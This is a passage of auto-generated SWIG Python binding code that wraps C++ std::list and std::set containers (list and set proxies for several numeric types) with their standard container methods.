__bool__(self): """__bool__(self) -> bool""" return _pyBasePython.listSS___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.listSS___len__(self) def pop(self): """pop(self) -> value_type""" return _pyBasePython.listSS_pop(self) def __getslice__(self, *args): """__getslice__(self, difference_type i, difference_type j) -> listSS""" return _pyBasePython.listSS___getslice__(self, *args) def __setslice__(self, *args): """__setslice__(self, difference_type i, difference_type j, listSS v)""" return _pyBasePython.listSS___setslice__(self, *args) def __delslice__(self, *args): """__delslice__(self, difference_type i, difference_type j)""" return _pyBasePython.listSS___delslice__(self, *args) def __delitem__(self, *args): """ __delitem__(self, difference_type i) __delitem__(self, PySliceObject slice) """ return _pyBasePython.listSS___delitem__(self, *args) def __getitem__(self, *args): """ __getitem__(self, PySliceObject slice) -> listSS __getitem__(self, difference_type i) -> value_type """ return _pyBasePython.listSS___getitem__(self, *args) def __setitem__(self, *args): """ __setitem__(self, PySliceObject slice, listSS v) __setitem__(self, difference_type i, value_type x) """ return _pyBasePython.listSS___setitem__(self, *args) def append(self, *args): """append(self, value_type x)""" return _pyBasePython.listSS_append(self, *args) def empty(self): """empty(self) -> bool""" return _pyBasePython.listSS_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.listSS_size(self) def clear(self): """clear(self)""" return _pyBasePython.listSS_clear(self) def swap(self, *args): """swap(self, listSS v)""" return _pyBasePython.listSS_swap(self, *args) def get_allocator(self): """get_allocator(self) -> allocator_type""" return _pyBasePython.listSS_get_allocator(self) def begin(self): """begin(self) -> const_iterator""" return _pyBasePython.listSS_begin(self) def end(self): """end(self) -> const_iterator""" return _pyBasePython.listSS_end(self) def rbegin(self): """rbegin(self) -> const_reverse_iterator""" return _pyBasePython.listSS_rbegin(self) def rend(self): """rend(self) -> const_reverse_iterator""" return _pyBasePython.listSS_rend(self) def pop_back(self): """pop_back(self)""" return _pyBasePython.listSS_pop_back(self) def erase(self, *args): """ erase(self, iterator pos) -> iterator erase(self, iterator first, iterator last) -> iterator """ return _pyBasePython.listSS_erase(self, *args) def __init__(self, *args): """ __init__(self) -> listSS __init__(self, listSS arg0) -> listSS __init__(self, size_type size) -> listSS __init__(self, size_type size, value_type value) -> listSS """ _pyBasePython.listSS_swiginit(self,_pyBasePython.new_listSS(*args)) def push_back(self, *args): """push_back(self, value_type x)""" return _pyBasePython.listSS_push_back(self, *args) def front(self): """front(self) -> value_type""" return _pyBasePython.listSS_front(self) def back(self): """back(self) -> value_type""" return _pyBasePython.listSS_back(self) def assign(self, *args): """assign(self, size_type n, value_type x)""" return _pyBasePython.listSS_assign(self, *args) def resize(self, *args): """ resize(self, size_type new_size) resize(self, size_type new_size, value_type x) """ return _pyBasePython.listSS_resize(self, *args) def insert(self, *args): """ insert(self, iterator pos, value_type x) -> iterator insert(self, iterator pos, size_type n, value_type x) """ return _pyBasePython.listSS_insert(self, *args) def pop_front(self): """pop_front(self)""" return _pyBasePython.listSS_pop_front(self) def push_front(self, *args): """push_front(self, value_type x)""" return _pyBasePython.listSS_push_front(self, *args) def reverse(self): """reverse(self)""" return _pyBasePython.listSS_reverse(self) __swig_destroy__ = _pyBasePython.delete_listSS listSS.iterator = new_instancemethod(_pyBasePython.listSS_iterator,None,listSS) listSS.__nonzero__ = new_instancemethod(_pyBasePython.listSS___nonzero__,None,listSS) listSS.__bool__ = new_instancemethod(_pyBasePython.listSS___bool__,None,listSS) listSS.__len__ = new_instancemethod(_pyBasePython.listSS___len__,None,listSS) listSS.pop = new_instancemethod(_pyBasePython.listSS_pop,None,listSS) listSS.__getslice__ = new_instancemethod(_pyBasePython.listSS___getslice__,None,listSS) listSS.__setslice__ = new_instancemethod(_pyBasePython.listSS___setslice__,None,listSS) listSS.__delslice__ = new_instancemethod(_pyBasePython.listSS___delslice__,None,listSS) listSS.__delitem__ = new_instancemethod(_pyBasePython.listSS___delitem__,None,listSS) listSS.__getitem__ = new_instancemethod(_pyBasePython.listSS___getitem__,None,listSS) listSS.__setitem__ = new_instancemethod(_pyBasePython.listSS___setitem__,None,listSS) listSS.append = new_instancemethod(_pyBasePython.listSS_append,None,listSS) listSS.empty = new_instancemethod(_pyBasePython.listSS_empty,None,listSS) listSS.size = new_instancemethod(_pyBasePython.listSS_size,None,listSS) listSS.clear = new_instancemethod(_pyBasePython.listSS_clear,None,listSS) listSS.swap = new_instancemethod(_pyBasePython.listSS_swap,None,listSS) listSS.get_allocator = new_instancemethod(_pyBasePython.listSS_get_allocator,None,listSS) listSS.begin = new_instancemethod(_pyBasePython.listSS_begin,None,listSS) listSS.end = new_instancemethod(_pyBasePython.listSS_end,None,listSS) listSS.rbegin = new_instancemethod(_pyBasePython.listSS_rbegin,None,listSS) listSS.rend = new_instancemethod(_pyBasePython.listSS_rend,None,listSS) listSS.pop_back = new_instancemethod(_pyBasePython.listSS_pop_back,None,listSS) listSS.erase = new_instancemethod(_pyBasePython.listSS_erase,None,listSS) listSS.push_back = new_instancemethod(_pyBasePython.listSS_push_back,None,listSS) listSS.front = new_instancemethod(_pyBasePython.listSS_front,None,listSS) listSS.back = new_instancemethod(_pyBasePython.listSS_back,None,listSS) listSS.assign = new_instancemethod(_pyBasePython.listSS_assign,None,listSS) listSS.resize = new_instancemethod(_pyBasePython.listSS_resize,None,listSS) listSS.insert = new_instancemethod(_pyBasePython.listSS_insert,None,listSS) listSS.pop_front = new_instancemethod(_pyBasePython.listSS_pop_front,None,listSS) listSS.push_front = new_instancemethod(_pyBasePython.listSS_push_front,None,listSS) listSS.reverse = new_instancemethod(_pyBasePython.listSS_reverse,None,listSS) listSS_swigregister = _pyBasePython.listSS_swigregister listSS_swigregister(listSS) class listSL(object): """Proxy of C++ std::list<(long)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.listSL_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.listSL___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.listSL___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.listSL___len__(self) def pop(self): """pop(self) -> value_type""" return _pyBasePython.listSL_pop(self) def __getslice__(self, *args): """__getslice__(self, difference_type i, difference_type j) -> listSL""" return _pyBasePython.listSL___getslice__(self, *args) def __setslice__(self, *args): """__setslice__(self, difference_type i, difference_type j, listSL v)""" return _pyBasePython.listSL___setslice__(self, *args) def __delslice__(self, *args): """__delslice__(self, difference_type i, difference_type j)""" return _pyBasePython.listSL___delslice__(self, *args) def __delitem__(self, *args): """ __delitem__(self, difference_type i) __delitem__(self, PySliceObject slice) """ return _pyBasePython.listSL___delitem__(self, *args) def __getitem__(self, *args): """ __getitem__(self, PySliceObject slice) -> listSL __getitem__(self, difference_type i) -> value_type """ return _pyBasePython.listSL___getitem__(self, *args) def __setitem__(self, *args): """ __setitem__(self, PySliceObject slice, listSL v) __setitem__(self, difference_type i, value_type x) """ return _pyBasePython.listSL___setitem__(self, *args) def append(self, *args): """append(self, value_type x)""" return _pyBasePython.listSL_append(self, *args) def empty(self): """empty(self) -> bool""" return _pyBasePython.listSL_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.listSL_size(self) def clear(self): """clear(self)""" return _pyBasePython.listSL_clear(self) def swap(self, *args): """swap(self, listSL v)""" return _pyBasePython.listSL_swap(self, *args) def get_allocator(self): """get_allocator(self) -> allocator_type""" return _pyBasePython.listSL_get_allocator(self) def begin(self): """begin(self) -> const_iterator""" return _pyBasePython.listSL_begin(self) def end(self): """end(self) -> const_iterator""" return _pyBasePython.listSL_end(self) def rbegin(self): """rbegin(self) -> const_reverse_iterator""" return _pyBasePython.listSL_rbegin(self) def rend(self): """rend(self) -> const_reverse_iterator""" return _pyBasePython.listSL_rend(self) def pop_back(self): """pop_back(self)""" return _pyBasePython.listSL_pop_back(self) def erase(self, *args): """ erase(self, iterator pos) -> iterator erase(self, iterator first, iterator last) -> iterator """ return _pyBasePython.listSL_erase(self, *args) def __init__(self, *args): """ __init__(self) -> listSL __init__(self, listSL arg0) -> listSL __init__(self, size_type size) -> listSL __init__(self, size_type size, value_type value) -> listSL """ _pyBasePython.listSL_swiginit(self,_pyBasePython.new_listSL(*args)) def push_back(self, *args): """push_back(self, value_type x)""" return _pyBasePython.listSL_push_back(self, *args) def front(self): """front(self) -> value_type""" return _pyBasePython.listSL_front(self) def back(self): """back(self) -> value_type""" return _pyBasePython.listSL_back(self) def assign(self, *args): """assign(self, size_type n, value_type x)""" return _pyBasePython.listSL_assign(self, *args) def resize(self, *args): """ resize(self, size_type new_size) resize(self, size_type new_size, value_type x) """ return _pyBasePython.listSL_resize(self, *args) def insert(self, *args): """ insert(self, iterator pos, value_type x) -> iterator insert(self, iterator pos, size_type n, value_type x) """ return _pyBasePython.listSL_insert(self, *args) def pop_front(self): """pop_front(self)""" return _pyBasePython.listSL_pop_front(self) def push_front(self, *args): """push_front(self, value_type x)""" return _pyBasePython.listSL_push_front(self, *args) def reverse(self): """reverse(self)""" return _pyBasePython.listSL_reverse(self) __swig_destroy__ = _pyBasePython.delete_listSL listSL.iterator = new_instancemethod(_pyBasePython.listSL_iterator,None,listSL) listSL.__nonzero__ = new_instancemethod(_pyBasePython.listSL___nonzero__,None,listSL) listSL.__bool__ = new_instancemethod(_pyBasePython.listSL___bool__,None,listSL) listSL.__len__ = new_instancemethod(_pyBasePython.listSL___len__,None,listSL) listSL.pop = new_instancemethod(_pyBasePython.listSL_pop,None,listSL) listSL.__getslice__ = new_instancemethod(_pyBasePython.listSL___getslice__,None,listSL) listSL.__setslice__ = new_instancemethod(_pyBasePython.listSL___setslice__,None,listSL) listSL.__delslice__ = new_instancemethod(_pyBasePython.listSL___delslice__,None,listSL) listSL.__delitem__ = new_instancemethod(_pyBasePython.listSL___delitem__,None,listSL) listSL.__getitem__ = new_instancemethod(_pyBasePython.listSL___getitem__,None,listSL) listSL.__setitem__ = new_instancemethod(_pyBasePython.listSL___setitem__,None,listSL) listSL.append = new_instancemethod(_pyBasePython.listSL_append,None,listSL) listSL.empty = new_instancemethod(_pyBasePython.listSL_empty,None,listSL) listSL.size = new_instancemethod(_pyBasePython.listSL_size,None,listSL) listSL.clear = new_instancemethod(_pyBasePython.listSL_clear,None,listSL) listSL.swap = new_instancemethod(_pyBasePython.listSL_swap,None,listSL) listSL.get_allocator = new_instancemethod(_pyBasePython.listSL_get_allocator,None,listSL) listSL.begin = new_instancemethod(_pyBasePython.listSL_begin,None,listSL) listSL.end = new_instancemethod(_pyBasePython.listSL_end,None,listSL) listSL.rbegin = new_instancemethod(_pyBasePython.listSL_rbegin,None,listSL) listSL.rend = new_instancemethod(_pyBasePython.listSL_rend,None,listSL) listSL.pop_back = new_instancemethod(_pyBasePython.listSL_pop_back,None,listSL) listSL.erase = new_instancemethod(_pyBasePython.listSL_erase,None,listSL) listSL.push_back = new_instancemethod(_pyBasePython.listSL_push_back,None,listSL) listSL.front = new_instancemethod(_pyBasePython.listSL_front,None,listSL) listSL.back = new_instancemethod(_pyBasePython.listSL_back,None,listSL) listSL.assign = new_instancemethod(_pyBasePython.listSL_assign,None,listSL) listSL.resize = new_instancemethod(_pyBasePython.listSL_resize,None,listSL) listSL.insert = new_instancemethod(_pyBasePython.listSL_insert,None,listSL) listSL.pop_front = new_instancemethod(_pyBasePython.listSL_pop_front,None,listSL) listSL.push_front = new_instancemethod(_pyBasePython.listSL_push_front,None,listSL) listSL.reverse = new_instancemethod(_pyBasePython.listSL_reverse,None,listSL) listSL_swigregister = _pyBasePython.listSL_swigregister listSL_swigregister(listSL) class listF(object): """Proxy of C++ std::list<(float)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.listF_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.listF___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.listF___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.listF___len__(self) def pop(self): """pop(self) -> value_type""" return _pyBasePython.listF_pop(self) def __getslice__(self, *args): """__getslice__(self, difference_type i, difference_type j) -> listF""" return _pyBasePython.listF___getslice__(self, *args) def __setslice__(self, *args): """__setslice__(self, difference_type i, difference_type j, listF v)""" return _pyBasePython.listF___setslice__(self, *args) def __delslice__(self, *args): """__delslice__(self, difference_type i, difference_type j)""" return _pyBasePython.listF___delslice__(self, *args) def __delitem__(self, *args): """ __delitem__(self, difference_type i) __delitem__(self, PySliceObject slice) """ return _pyBasePython.listF___delitem__(self, *args) def __getitem__(self, *args): """ __getitem__(self, PySliceObject slice) -> listF __getitem__(self, difference_type i) -> value_type """ return _pyBasePython.listF___getitem__(self, *args) def __setitem__(self, *args): """ __setitem__(self, PySliceObject slice, listF v) __setitem__(self, difference_type i, value_type x) """ return _pyBasePython.listF___setitem__(self, *args) def append(self, *args): """append(self, value_type x)""" return _pyBasePython.listF_append(self, *args) def empty(self): """empty(self) -> bool""" return _pyBasePython.listF_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.listF_size(self) def clear(self): """clear(self)""" return _pyBasePython.listF_clear(self) def swap(self, *args): """swap(self, listF v)""" return _pyBasePython.listF_swap(self, *args) def get_allocator(self): """get_allocator(self) -> allocator_type""" return _pyBasePython.listF_get_allocator(self) def begin(self): """begin(self) -> const_iterator""" return _pyBasePython.listF_begin(self) def end(self): """end(self) -> const_iterator""" return _pyBasePython.listF_end(self) def rbegin(self): """rbegin(self) -> const_reverse_iterator""" return _pyBasePython.listF_rbegin(self) def rend(self): """rend(self) -> const_reverse_iterator""" return _pyBasePython.listF_rend(self) def pop_back(self): """pop_back(self)""" return _pyBasePython.listF_pop_back(self) def erase(self, *args): """ erase(self, iterator pos) -> iterator erase(self, iterator first, iterator last) -> iterator """ return _pyBasePython.listF_erase(self, *args) def __init__(self, *args): """ __init__(self) -> listF __init__(self, listF arg0) -> listF __init__(self, size_type size) -> listF __init__(self, size_type size, value_type value) -> listF """ _pyBasePython.listF_swiginit(self,_pyBasePython.new_listF(*args)) def push_back(self, *args): """push_back(self, value_type x)""" return _pyBasePython.listF_push_back(self, *args) def front(self): """front(self) -> value_type""" return _pyBasePython.listF_front(self) def back(self): """back(self) -> value_type""" return _pyBasePython.listF_back(self) def assign(self, *args): """assign(self, size_type n, value_type x)""" return _pyBasePython.listF_assign(self, *args) def resize(self, *args): """ resize(self, size_type new_size) resize(self, size_type new_size, value_type x) """ return _pyBasePython.listF_resize(self, *args) def insert(self, *args): """ insert(self, iterator pos, value_type x) -> iterator insert(self, iterator pos, size_type n, value_type x) """ return _pyBasePython.listF_insert(self, *args) def pop_front(self): """pop_front(self)""" return _pyBasePython.listF_pop_front(self) def push_front(self, *args): """push_front(self, value_type x)""" return _pyBasePython.listF_push_front(self, *args) def reverse(self): """reverse(self)""" return _pyBasePython.listF_reverse(self) __swig_destroy__ = _pyBasePython.delete_listF listF.iterator = new_instancemethod(_pyBasePython.listF_iterator,None,listF) listF.__nonzero__ = new_instancemethod(_pyBasePython.listF___nonzero__,None,listF) listF.__bool__ = new_instancemethod(_pyBasePython.listF___bool__,None,listF) listF.__len__ = new_instancemethod(_pyBasePython.listF___len__,None,listF) listF.pop = new_instancemethod(_pyBasePython.listF_pop,None,listF) listF.__getslice__ = new_instancemethod(_pyBasePython.listF___getslice__,None,listF) listF.__setslice__ = new_instancemethod(_pyBasePython.listF___setslice__,None,listF) listF.__delslice__ = new_instancemethod(_pyBasePython.listF___delslice__,None,listF) listF.__delitem__ = new_instancemethod(_pyBasePython.listF___delitem__,None,listF) listF.__getitem__ = new_instancemethod(_pyBasePython.listF___getitem__,None,listF) listF.__setitem__ = new_instancemethod(_pyBasePython.listF___setitem__,None,listF) listF.append = new_instancemethod(_pyBasePython.listF_append,None,listF) listF.empty = new_instancemethod(_pyBasePython.listF_empty,None,listF) listF.size = new_instancemethod(_pyBasePython.listF_size,None,listF) listF.clear = new_instancemethod(_pyBasePython.listF_clear,None,listF) listF.swap = new_instancemethod(_pyBasePython.listF_swap,None,listF) listF.get_allocator = new_instancemethod(_pyBasePython.listF_get_allocator,None,listF) listF.begin = new_instancemethod(_pyBasePython.listF_begin,None,listF) listF.end = new_instancemethod(_pyBasePython.listF_end,None,listF) listF.rbegin = new_instancemethod(_pyBasePython.listF_rbegin,None,listF) listF.rend = new_instancemethod(_pyBasePython.listF_rend,None,listF) listF.pop_back = new_instancemethod(_pyBasePython.listF_pop_back,None,listF) listF.erase = new_instancemethod(_pyBasePython.listF_erase,None,listF) listF.push_back = new_instancemethod(_pyBasePython.listF_push_back,None,listF) listF.front = new_instancemethod(_pyBasePython.listF_front,None,listF) listF.back = new_instancemethod(_pyBasePython.listF_back,None,listF) listF.assign = new_instancemethod(_pyBasePython.listF_assign,None,listF) listF.resize = new_instancemethod(_pyBasePython.listF_resize,None,listF) listF.insert = new_instancemethod(_pyBasePython.listF_insert,None,listF) listF.pop_front = new_instancemethod(_pyBasePython.listF_pop_front,None,listF) listF.push_front = new_instancemethod(_pyBasePython.listF_push_front,None,listF) listF.reverse = new_instancemethod(_pyBasePython.listF_reverse,None,listF) listF_swigregister = _pyBasePython.listF_swigregister listF_swigregister(listF) class listD(object): """Proxy of C++ std::list<(double)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.listD_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.listD___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.listD___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.listD___len__(self) def pop(self): """pop(self) -> value_type""" return _pyBasePython.listD_pop(self) def __getslice__(self, *args): """__getslice__(self, difference_type i, difference_type j) -> listD""" return _pyBasePython.listD___getslice__(self, *args) def __setslice__(self, *args): """__setslice__(self, difference_type i, difference_type j, listD v)""" return _pyBasePython.listD___setslice__(self, *args) def __delslice__(self, *args): """__delslice__(self, difference_type i, difference_type j)""" return _pyBasePython.listD___delslice__(self, *args) def __delitem__(self, *args): """ __delitem__(self, difference_type i) __delitem__(self, PySliceObject slice) """ return _pyBasePython.listD___delitem__(self, *args) def __getitem__(self, *args): """ __getitem__(self, PySliceObject slice) -> listD __getitem__(self, difference_type i) -> value_type """ return _pyBasePython.listD___getitem__(self, *args) def __setitem__(self, *args): """ __setitem__(self, PySliceObject slice, listD v) __setitem__(self, difference_type i, value_type x) """ return _pyBasePython.listD___setitem__(self, *args) def append(self, *args): """append(self, value_type x)""" return _pyBasePython.listD_append(self, *args) def empty(self): """empty(self) -> bool""" return _pyBasePython.listD_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.listD_size(self) def clear(self): """clear(self)""" return _pyBasePython.listD_clear(self) def swap(self, *args): """swap(self, listD v)""" return _pyBasePython.listD_swap(self, *args) def get_allocator(self): """get_allocator(self) -> allocator_type""" return _pyBasePython.listD_get_allocator(self) def begin(self): """begin(self) -> const_iterator""" return _pyBasePython.listD_begin(self) def end(self): """end(self) -> const_iterator""" return _pyBasePython.listD_end(self) def rbegin(self): """rbegin(self) -> const_reverse_iterator""" return _pyBasePython.listD_rbegin(self) def rend(self): """rend(self) -> const_reverse_iterator""" return _pyBasePython.listD_rend(self) def pop_back(self): """pop_back(self)""" return _pyBasePython.listD_pop_back(self) def erase(self, *args): """ erase(self, iterator pos) -> iterator erase(self, iterator first, iterator last) -> iterator """ return _pyBasePython.listD_erase(self, *args) def __init__(self, *args): """ __init__(self) -> listD __init__(self, listD arg0) -> listD __init__(self, size_type size) -> listD __init__(self, size_type size, value_type value) -> listD """ _pyBasePython.listD_swiginit(self,_pyBasePython.new_listD(*args)) def push_back(self, *args): """push_back(self, value_type x)""" return _pyBasePython.listD_push_back(self, *args) def front(self): """front(self) -> value_type""" return _pyBasePython.listD_front(self) def back(self): """back(self) -> value_type""" return _pyBasePython.listD_back(self) def assign(self, *args): """assign(self, size_type n, value_type x)""" return _pyBasePython.listD_assign(self, *args) def resize(self, *args): """ resize(self, size_type new_size) resize(self, size_type new_size, value_type x) """ return _pyBasePython.listD_resize(self, *args) def insert(self, *args): """ insert(self, iterator pos, value_type x) -> iterator insert(self, iterator pos, size_type n, value_type x) """ return _pyBasePython.listD_insert(self, *args) def pop_front(self): """pop_front(self)""" return _pyBasePython.listD_pop_front(self) def push_front(self, *args): """push_front(self, value_type x)""" return _pyBasePython.listD_push_front(self, *args) def reverse(self): """reverse(self)""" return _pyBasePython.listD_reverse(self) __swig_destroy__ = _pyBasePython.delete_listD listD.iterator = new_instancemethod(_pyBasePython.listD_iterator,None,listD) listD.__nonzero__ = new_instancemethod(_pyBasePython.listD___nonzero__,None,listD) listD.__bool__ = new_instancemethod(_pyBasePython.listD___bool__,None,listD) listD.__len__ = new_instancemethod(_pyBasePython.listD___len__,None,listD) listD.pop = new_instancemethod(_pyBasePython.listD_pop,None,listD) listD.__getslice__ = new_instancemethod(_pyBasePython.listD___getslice__,None,listD) listD.__setslice__ = new_instancemethod(_pyBasePython.listD___setslice__,None,listD) listD.__delslice__ = new_instancemethod(_pyBasePython.listD___delslice__,None,listD) listD.__delitem__ = new_instancemethod(_pyBasePython.listD___delitem__,None,listD) listD.__getitem__ = new_instancemethod(_pyBasePython.listD___getitem__,None,listD) listD.__setitem__ = new_instancemethod(_pyBasePython.listD___setitem__,None,listD) listD.append = new_instancemethod(_pyBasePython.listD_append,None,listD) listD.empty = new_instancemethod(_pyBasePython.listD_empty,None,listD) listD.size = new_instancemethod(_pyBasePython.listD_size,None,listD) listD.clear = new_instancemethod(_pyBasePython.listD_clear,None,listD) listD.swap = new_instancemethod(_pyBasePython.listD_swap,None,listD) listD.get_allocator = new_instancemethod(_pyBasePython.listD_get_allocator,None,listD) listD.begin = new_instancemethod(_pyBasePython.listD_begin,None,listD) listD.end = new_instancemethod(_pyBasePython.listD_end,None,listD) listD.rbegin = new_instancemethod(_pyBasePython.listD_rbegin,None,listD) listD.rend = new_instancemethod(_pyBasePython.listD_rend,None,listD) listD.pop_back = new_instancemethod(_pyBasePython.listD_pop_back,None,listD) listD.erase = new_instancemethod(_pyBasePython.listD_erase,None,listD) listD.push_back = new_instancemethod(_pyBasePython.listD_push_back,None,listD) listD.front = new_instancemethod(_pyBasePython.listD_front,None,listD) listD.back = new_instancemethod(_pyBasePython.listD_back,None,listD) listD.assign = new_instancemethod(_pyBasePython.listD_assign,None,listD) listD.resize = new_instancemethod(_pyBasePython.listD_resize,None,listD) listD.insert = new_instancemethod(_pyBasePython.listD_insert,None,listD) listD.pop_front = new_instancemethod(_pyBasePython.listD_pop_front,None,listD) listD.push_front = new_instancemethod(_pyBasePython.listD_push_front,None,listD) listD.reverse = new_instancemethod(_pyBasePython.listD_reverse,None,listD) listD_swigregister = _pyBasePython.listD_swigregister listD_swigregister(listD) class setUC(object): """Proxy of C++ std::set<(unsigned char,std::less<(unsigned char)>)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.setUC_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.setUC___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.setUC___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.setUC___len__(self) def append(self, *args): """append(self, value_type x)""" return _pyBasePython.setUC_append(self, *args) def __contains__(self, *args): """__contains__(self, value_type x) -> bool""" return _pyBasePython.setUC___contains__(self, *args) def __getitem__(self, *args): """__getitem__(self, difference_type i) -> value_type""" return _pyBasePython.setUC___getitem__(self, *args) def __init__(self, *args): """ __init__(self, std::less<(unsigned char)> arg0) -> setUC __init__(self) -> setUC __init__(self, setUC arg0) -> setUC """ _pyBasePython.setUC_swiginit(self,_pyBasePython.new_setUC(*args)) def empty(self): """empty(self) -> bool""" return _pyBasePython.setUC_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.setUC_size(self) def clear(self): """clear(self)""" return _pyBasePython.setUC_clear(self) def swap(self, *args): """swap(self, setUC v)""" return _pyBasePython.setUC_swap(self, *args) def count(self, *args): """count(self, key_type x) -> size_type""" return _pyBasePython.setUC_count(self, *args) def begin(self): """begin(self) -> iterator""" return _pyBasePython.setUC_begin(self) def end(self): """end(self) -> iterator""" return _pyBasePython.setUC_end(self) def rbegin(self): """rbegin(self) -> reverse_iterator""" return _pyBasePython.setUC_rbegin(self) def rend(self): """rend(self) -> reverse_iterator""" return _pyBasePython.setUC_rend(self) def erase(self, *args): """ erase(self, key_type x) -> size_type erase(self, iterator pos) erase(self, iterator first, iterator last) """ return _pyBasePython.setUC_erase(self, *args) def find(self, *args): """find(self, key_type x) -> iterator""" return _pyBasePython.setUC_find(self, *args) def lower_bound(self, *args): """lower_bound(self, key_type x) -> iterator""" return _pyBasePython.setUC_lower_bound(self, *args) def upper_bound(self, *args): """upper_bound(self, key_type x) -> iterator""" return _pyBasePython.setUC_upper_bound(self, *args) def equal_range(self, *args): """equal_range(self, key_type x) -> std::pair<(std::set<(unsigned char,std::less<(unsigned char)>)>::iterator,std::set<(unsigned char,std::less<(unsigned char)>)>::iterator)>""" return _pyBasePython.setUC_equal_range(self, *args) def insert(self, *args): """insert(self, value_type __x) -> std::pair<(std::set<(unsigned char,std::less<(unsigned char)>)>::iterator,bool)>""" return _pyBasePython.setUC_insert(self, *args) __swig_destroy__ = _pyBasePython.delete_setUC setUC.iterator = new_instancemethod(_pyBasePython.setUC_iterator,None,setUC) setUC.__nonzero__ = new_instancemethod(_pyBasePython.setUC___nonzero__,None,setUC) setUC.__bool__ = new_instancemethod(_pyBasePython.setUC___bool__,None,setUC) setUC.__len__ = new_instancemethod(_pyBasePython.setUC___len__,None,setUC) setUC.append = new_instancemethod(_pyBasePython.setUC_append,None,setUC) setUC.__contains__ = new_instancemethod(_pyBasePython.setUC___contains__,None,setUC) setUC.__getitem__ = new_instancemethod(_pyBasePython.setUC___getitem__,None,setUC) setUC.empty = new_instancemethod(_pyBasePython.setUC_empty,None,setUC) setUC.size = new_instancemethod(_pyBasePython.setUC_size,None,setUC) setUC.clear = new_instancemethod(_pyBasePython.setUC_clear,None,setUC) setUC.swap = new_instancemethod(_pyBasePython.setUC_swap,None,setUC) setUC.count = new_instancemethod(_pyBasePython.setUC_count,None,setUC) setUC.begin = new_instancemethod(_pyBasePython.setUC_begin,None,setUC) setUC.end = new_instancemethod(_pyBasePython.setUC_end,None,setUC) setUC.rbegin = new_instancemethod(_pyBasePython.setUC_rbegin,None,setUC) setUC.rend = new_instancemethod(_pyBasePython.setUC_rend,None,setUC) setUC.erase = new_instancemethod(_pyBasePython.setUC_erase,None,setUC) setUC.find = new_instancemethod(_pyBasePython.setUC_find,None,setUC) setUC.lower_bound = new_instancemethod(_pyBasePython.setUC_lower_bound,None,setUC) setUC.upper_bound = new_instancemethod(_pyBasePython.setUC_upper_bound,None,setUC) setUC.equal_range = new_instancemethod(_pyBasePython.setUC_equal_range,None,setUC) setUC.insert = new_instancemethod(_pyBasePython.setUC_insert,None,setUC) setUC_swigregister = _pyBasePython.setUC_swigregister setUC_swigregister(setUC) class setUS(object): """Proxy of C++ std::set<(unsigned short,std::less<(unsigned short)>)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.setUS_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.setUS___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.setUS___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.setUS___len__(self) def append(self, *args): """append(self, value_type x)""" return _pyBasePython.setUS_append(self, *args) def __contains__(self, *args): """__contains__(self, value_type x) -> bool""" return _pyBasePython.setUS___contains__(self, *args) def __getitem__(self, *args): """__getitem__(self, difference_type i) -> value_type""" return _pyBasePython.setUS___getitem__(self, *args) def __init__(self, *args): """ __init__(self, std::less<(unsigned short)> arg0) -> setUS __init__(self) -> setUS __init__(self, setUS arg0) -> setUS """ _pyBasePython.setUS_swiginit(self,_pyBasePython.new_setUS(*args)) def empty(self): """empty(self) -> bool""" return _pyBasePython.setUS_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.setUS_size(self) def clear(self): """clear(self)""" return _pyBasePython.setUS_clear(self) def swap(self, *args): """swap(self, setUS v)""" return _pyBasePython.setUS_swap(self, *args) def count(self, *args): """count(self, key_type x) -> size_type""" return _pyBasePython.setUS_count(self, *args) def begin(self): """begin(self) -> iterator""" return _pyBasePython.setUS_begin(self) def end(self): """end(self) -> iterator""" return _pyBasePython.setUS_end(self) def rbegin(self): """rbegin(self) -> reverse_iterator""" return _pyBasePython.setUS_rbegin(self) def rend(self): """rend(self) -> reverse_iterator""" return _pyBasePython.setUS_rend(self) def erase(self, *args): """ erase(self, key_type x) -> size_type erase(self, iterator pos) erase(self, iterator first, iterator last) """ return _pyBasePython.setUS_erase(self, *args) def find(self, *args): """find(self, key_type x) -> iterator""" return _pyBasePython.setUS_find(self, *args) def lower_bound(self, *args): """lower_bound(self, key_type x) -> iterator""" return _pyBasePython.setUS_lower_bound(self, 